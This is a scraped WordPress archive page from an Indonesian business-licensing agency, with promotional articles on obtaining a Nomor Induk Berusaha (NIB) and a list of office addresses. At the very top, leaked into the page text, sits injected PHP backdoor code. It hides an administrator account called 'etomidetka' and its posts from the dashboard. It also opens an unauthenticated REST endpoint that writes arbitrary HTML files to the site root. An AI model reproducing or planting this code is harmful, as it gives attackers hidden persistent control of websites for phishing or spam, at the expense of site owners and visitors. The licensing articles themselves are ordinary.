//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } Jasa Pembuatan NIB Pekalongan Archives - Jasa Izin Usaha Solo Jasa Izin Usaha Solo

Jasa Izin Usaha Solo Perizianna Usaha Terbaik Di Solo

Januari 4, 2025

Jasa Pengurusan NIB di Kota Surakarta

Jasa Pengurusan NIB di Kota Surakarta: Solusi Praktis untuk Usaha Anda

biaya jasa pembuatan nib
jasa pembuatan nib terdekat
Biaya jasa pembuatan NIB
Jasa pembuatan NIB terdekat
Biaya pembuatan NIB perorangan
Jasa pengurusan Sertifikat Standar OSS
Berapa lama proses pembuatan NIB Online
Jasa pengurusan NIB Surabaya
OSS NIB
NIB adalah

Apakah Anda seorang pengusaha atau calon pengusaha yang berencana untuk membuka usaha di Kota Surakarta? Salah satu langkah penting yang tak boleh dilewatkan adalah memiliki Nomor Induk Berusaha (NIB). NIB bukan hanya sekadar nomor identitas usaha, tetapi juga kunci untuk mengakses berbagai fasilitas dan layanan yang mempermudah proses operasional bisnis Anda. Namun, proses pengurusannya bisa jadi cukup rumit jika Anda tidak familiar dengan alur dan persyaratan yang dibutuhkan. Tidak perlu khawatir, karena PT Pop Jasa hadir sebagai solusi tepat untuk membantu Anda dalam mengurus NIB dengan cepat dan efisien!

Apa itu NIB dan Mengapa Penting untuk Usaha Anda?

Nomor Induk Berusaha (NIB) adalah identitas resmi bagi setiap pelaku usaha yang diterbitkan oleh sistem Online Single Submission (OSS). NIB berfungsi sebagai sarana bagi pengusaha untuk mendapatkan izin usaha dan akses ke berbagai kemudahan lainnya, seperti izin investasi, izin lingkungan, serta akses kepada fasilitas kepabeanan jika diperlukan. Bagi pengusaha yang bergerak di bidang apapun, mulai dari usaha kecil hingga besar, memiliki NIB adalah hal yang wajib dan merupakan legalitas yang sah menurut hukum Indonesia.

Di Kota Surakarta, yang semakin berkembang pesat, pentingnya NIB tidak bisa diabaikan. Selain sebagai legalitas usaha, NIB juga memberikan berbagai manfaat yang memudahkan kegiatan operasional dan pengembangan usaha Anda. Pengurusan NIB pun kini lebih mudah dengan bantuan jasa profesional seperti PT Pop Jasa yang sudah berpengalaman dalam proses tersebut.

Tujuan Pengurusan NIB

Tujuan utama dari pengurusan NIB adalah untuk memberikan legalitas yang sah bagi usaha Anda. Dengan memiliki NIB, usaha Anda akan tercatat secara resmi dalam sistem pemerintah, yang memudahkan Anda dalam mengurus berbagai izin yang diperlukan, seperti izin usaha dan izin lingkungan.

Pengurusan NIB juga bertujuan untuk membantu pengusaha dalam menjalankan bisnis secara legal, menghindari sanksi administratif atau hukum yang dapat terjadi jika usaha Anda tidak terdaftar. Dengan demikian, NIB memastikan bahwa usaha Anda beroperasi dalam kerangka hukum yang jelas dan terjamin.

Manfaat Pengurusan NIB

  1. Mempermudah Proses Perizinan
    NIB memberikan kemudahan dalam pengurusan izin usaha yang lainnya, seperti izin lokasi, izin gangguan, izin operasional, hingga izin lingkungan. Tanpa NIB, banyak proses yang akan terhambat atau bahkan tidak dapat diproses.
  2. Akses ke Fasilitas dan Program Pemerintah
    Pemerintah Indonesia menyediakan berbagai fasilitas dan program bagi pengusaha yang memiliki NIB, seperti akses ke pembiayaan perbankan atau program kemudahan lainnya. Dengan memiliki NIB, Anda bisa mengakses berbagai insentif yang mendukung pertumbuhan usaha.
  3. Meningkatkan Kredibilitas Bisnis
    Memiliki NIB memberikan kesan profesionalisme dan kepercayaan kepada pelanggan maupun mitra bisnis. Keberadaan NIB juga dapat meningkatkan reputasi bisnis Anda di mata pelanggan dan lembaga pemerintah.
  4. Peluang Ekspansi dan Investasi
    Dengan NIB, Anda membuka peluang lebih besar untuk berinvestasi dan mengembangkan usaha, baik secara lokal maupun internasional. NIB mempermudah pengajuan izin terkait ekspansi bisnis, membuatnya lebih aman dan mudah diakses.

Keuntungan Menggunakan Jasa Pengurusan NIB PT Pop Jasa di Surakarta

Mengurus NIB secara mandiri bisa sangat memakan waktu dan membingungkan, terlebih jika Anda belum familiar dengan prosedur yang ada. Oleh karena itu, menggunakan jasa pengurusan NIB dari PT Pop Jasa di Kota Surakarta bisa memberikan berbagai keuntungan berikut:

  1. Proses Pengurusan Cepat dan Efisien
    PT Pop Jasa memiliki tim yang berpengalaman dan profesional dalam mengurus segala kebutuhan administrasi bisnis, termasuk pengurusan NIB. Dengan pengalaman yang dimiliki, proses pengurusan NIB akan dilakukan dengan cepat dan tanpa kendala.
  2. Bimbingan dan Konsultasi
    Selain mengurus dokumen, PT Pop Jasa juga menyediakan layanan konsultasi untuk memastikan bahwa semua persyaratan dan prosedur yang dibutuhkan telah terpenuhi dengan tepat. Anda akan mendapatkan panduan langkah demi langkah dalam pengurusan NIB.
  3. Hemat Waktu dan Tenaga
    Proses administrasi yang rumit seringkali membutuhkan waktu dan tenaga yang tidak sedikit. Dengan menggunakan jasa PT Pop Jasa, Anda dapat fokus pada pengembangan bisnis Anda tanpa harus terjebak dalam kerumitan pengurusan izin.
  4. Harga Terjangkau dengan Layanan Berkualitas
    PT Pop Jasa menawarkan harga yang kompetitif namun dengan layanan yang tetap berkualitas. Ini memberikan nilai lebih bagi pengusaha yang ingin mengurus NIB tanpa harus mengeluarkan biaya yang terlalu besar.
  5. Keamanan dan Kepercayaan
    Dengan menggunakan jasa PT Pop Jasa, Anda bisa merasa tenang karena seluruh proses pengurusan dilakukan dengan aman dan sesuai aturan yang berlaku. Kami selalu mengutamakan kepercayaan dan kenyamanan klien.

Kesimpulan

Pengurusan NIB adalah langkah krusial bagi setiap pengusaha di Kota Surakarta yang ingin memastikan usaha mereka berjalan secara legal dan terorganisir. Dengan menggunakan jasa pengurusan NIB dari PT Pop Jasa, Anda akan merasakan manfaat kemudahan, kecepatan, dan efisiensi dalam mengurus legalitas usaha Anda. Jangan biarkan urusan administratif menghambat perkembangan bisnis Anda, percayakan pada ahli yang berpengalaman dan biarkan PT Pop Jasa mendukung kesuksesan usaha Anda.

Segera hubungi kami dan mulai perjalanan bisnis Anda dengan NIB yang sah dan terjamin!
Jangan tunda lagi, nikmati kemudahan dan keuntungan memiliki NIB untuk usaha Anda di Kota Surakarta. Klik di sini atau hubungi kami langsung di nomor [081229995779] untuk mendapatkan informasi lebih lanjut dan konsultasi gratis. Ayo, buat bisnis Anda lebih profesional dan terjamin dengan PT Pop Jasa!

Oktober 3, 2024

Jasa Perizinan NIB Kota Pekalongan

Jasa Perizinan NIB Kota Pekalongan

Jasa Perizinan NIB Kota Bantul

Jasa Perizinan NIB Kota Bantul

 

Nomor Induk Berusaha (NIB): Pengertian, Manfaat, dan Cara Mendapatkannya

  1. Pengertian Nomor Induk Berusaha (NIB)
    Nomor Induk Berusaha (NIB) adalah identitas pelaku usaha yang diterbitkan oleh Lembaga OSS (Online Single Submission). NIB ini wajib dimiliki oleh setiap pelaku usaha di Indonesia, baik perseorangan maupun non-perseorangan, yang ingin menjalankan kegiatan usaha secara sah. NIB berfungsi sebagai identitas tunggal yang mengintegrasikan beberapa dokumen legal, seperti Tanda Daftar Perusahaan (TDP), Angka Pengenal Impor (API), dan Akses Kepabeanan.

NIB diatur dalam Peraturan Pemerintah Nomor 24 Tahun 2018 tentang Pelayanan Perizinan Berusaha Terintegrasi Secara Elektronik, yang menjadi landasan hukum dalam sistem perizinan usaha berbasis teknologi. Kehadiran NIB diharapkan dapat mempermudah pelaku usaha dalam mendapatkan izin usaha dan mendorong pertumbuhan ekonomi dengan penyederhanaan proses birokrasi.

  1. Manfaat Memiliki NIB
    NIB bukan hanya sekadar nomor identitas, melainkan membawa berbagai manfaat bagi pelaku usaha, di antaranya:
  • Legitimasi Usaha: NIB menunjukkan bahwa usaha tersebut resmi dan diakui oleh pemerintah, sehingga memberikan perlindungan hukum.
  • Kemudahan Akses Pembiayaan: Banyak lembaga keuangan mensyaratkan pelaku usaha untuk memiliki NIB agar bisa mengajukan pinjaman atau pembiayaan usaha.
  • Kemudahan dalam Ekspor dan Impor: Dengan NIB, pelaku usaha otomatis terdaftar dalam sistem kepabeanan, memudahkan dalam melakukan kegiatan ekspor dan impor.
  • Kemudahan dalam Mengurus Izin Usaha Lain: NIB mengintegrasikan berbagai perizinan sehingga pelaku usaha tidak perlu repot mengurus izin lain secara terpisah.
  • Akses Program Pemerintah: Pelaku usaha yang memiliki NIB dapat berpartisipasi dalam berbagai program bantuan atau dukungan dari pemerintah, seperti pembiayaan usaha kecil atau pelatihan.
  1. Jenis Pelaku Usaha yang Wajib Memiliki NIB
    NIB diwajibkan bagi semua jenis usaha, baik dalam skala mikro, kecil, menengah, maupun besar, yang meliputi:
  • Usaha perseorangan: Seperti usaha mikro, kecil, dan menengah (UMKM) yang dikelola secara individu.
  • Usaha non-perseorangan: Seperti perusahaan berbentuk Perseroan Terbatas (PT), koperasi, firma, maupun persekutuan komanditer (CV).
  • Usaha Asing: Investor asing yang ingin mendirikan usaha di Indonesia juga diwajibkan memiliki NIB sebagai langkah awal.
  1. Cara Mendapatkan NIB melalui OSS
    Untuk mendapatkan NIB, pelaku usaha harus melalui platform Online Single Submission (OSS) yang telah disediakan oleh pemerintah. Berikut adalah langkah-langkahnya:
  1. Registrasi Akun OSS
    Pelaku usaha harus terlebih dahulu membuat akun di portal OSS. Pendaftaran dapat dilakukan dengan memasukkan data diri atau data perusahaan yang valid.
  2. Pengisian Data Usaha
    Setelah registrasi, pelaku usaha harus melengkapi informasi mengenai jenis usaha yang dijalankan, lokasi usaha, serta beberapa detail lainnya yang diperlukan.
  3. Proses Verifikasi
    Setelah semua data dimasukkan, sistem OSS akan memverifikasi informasi tersebut. Jika data valid, NIB akan diterbitkan secara otomatis dan dapat diunduh.
  4. Pengunduhan dan Pencetakan NIB
    NIB yang telah diterbitkan dapat diunduh dalam bentuk digital. Pelaku usaha disarankan untuk mencetak NIB tersebut sebagai dokumen resmi yang nantinya bisa digunakan dalam berbagai keperluan administrasi.

BACA JUGA : Jasa Pembuatan CV di Kabupaten Bantul

Penutup
Dengan diberlakukannya sistem OSS dan diwajibkannya NIB, pemerintah Indonesia berupaya mendorong kemudahan berbisnis dan menciptakan ekosistem usaha yang lebih efisien dan transparan. Bagi pelaku usaha, memiliki NIB bukan hanya kewajiban tetapi juga keuntungan yang dapat mendukung perkembangan bisnis, memperluas akses ke sumber daya, dan meningkatkan kredibilitas usaha di mata publik serta pemerintah.

Dengan begitu, proses perizinan yang dulu dikenal rumit kini menjadi lebih sederhana dan cepat, memfasilitasi pelaku usaha untuk segera memulai aktivitas komersial mereka secara legal di Indonesia.

HUBUNGI KAMI

Alamat Kantor Biro Jasa Perizinan Usaha POPJASA:

  • Jasa Perizinan NIB Surabaya
    Ruko Mezzanine Blok A-25, Jl. Nginden Semolo No. 38-40, Kel. Nginden Jangkungan, Kec. Sukolilo, Kota Surabaya
  • Jasa Perizinan NIB Malang
    Jl. Teluk Etna II No. 80A, Arjosari Kec. Blimbing Kota Malang 65126
  • Jasa Perizinan NIB Mojokerto
    Jl. Wijaya Kusuma Barat RT 01/ RW 05, Kelurahan Sooko Kecamatan Sooko, Kabupaten Mojokerto
  • Jasa Perizinan NIB Pasuruan
    Jl. Raya Bajangan RT. 001 / RW 002 Desa Bajangan Kecamatan Gondang Wetan – Kab Pasuruan Kode Pos 67174
  • Jasa Perizinan NIB Solo
    Jl. Adi Sumarmo No. 59, Nanasan, Malangjiwan, Kec. Colomadu, Kabupaten Karanganyar, Jawa Tengah 57177
  • Jasa Perizinan NIB Yogyakarta
    Jln. Nogotirto Area Sawah, Banyuraden, Kec. Gamping Kab. Sleman, Daerah Istimewa Yogyakarta
  • Jasa Perizinan NIB  Semarang
    Merpati 2/5, Pedurungan Tengah, Kec. Pedurungan, Kota Semarang
  • Jasa Perizinan NIB Bandung
    Graha Merah Putih Buah Batu Lantai 1, Jl. Terusan Buah Batu No. 33, Batununggal Kec. Bandung Kidul Kota Bandung 40266
  • Jasa Perizinan NIB Bekasi
    Raya Siliwangi No. 35 RT. 01 RW. 03, Sepanjang Jaya, Kec. Rawalumbu, Kota Bekasi
  • Jasa Perizinan NIB Tangerang
    Jl. Villa Mutiara Pluit Blok E2 No. 05 RT 02/RW09 Priuk Kec. Priuk Kota Tangerang Banten 15131
  • Jasa Perizinan NIB Depok
    Jl. Raya Keadilan Rawa Denok Rt 04 / Rw 08 Kel. Rangkapan Jaya Baru Kec. Pancoran Mas Kota Depok
  • Jasa Perizinan NIB Makassar
    Jl. BTN Minasaupa Blok AB 5 No. 11, Gn. Sari, Kec. Rappocini, Kota Makassar, Sulawesi Selatan

 

Powered by WordPress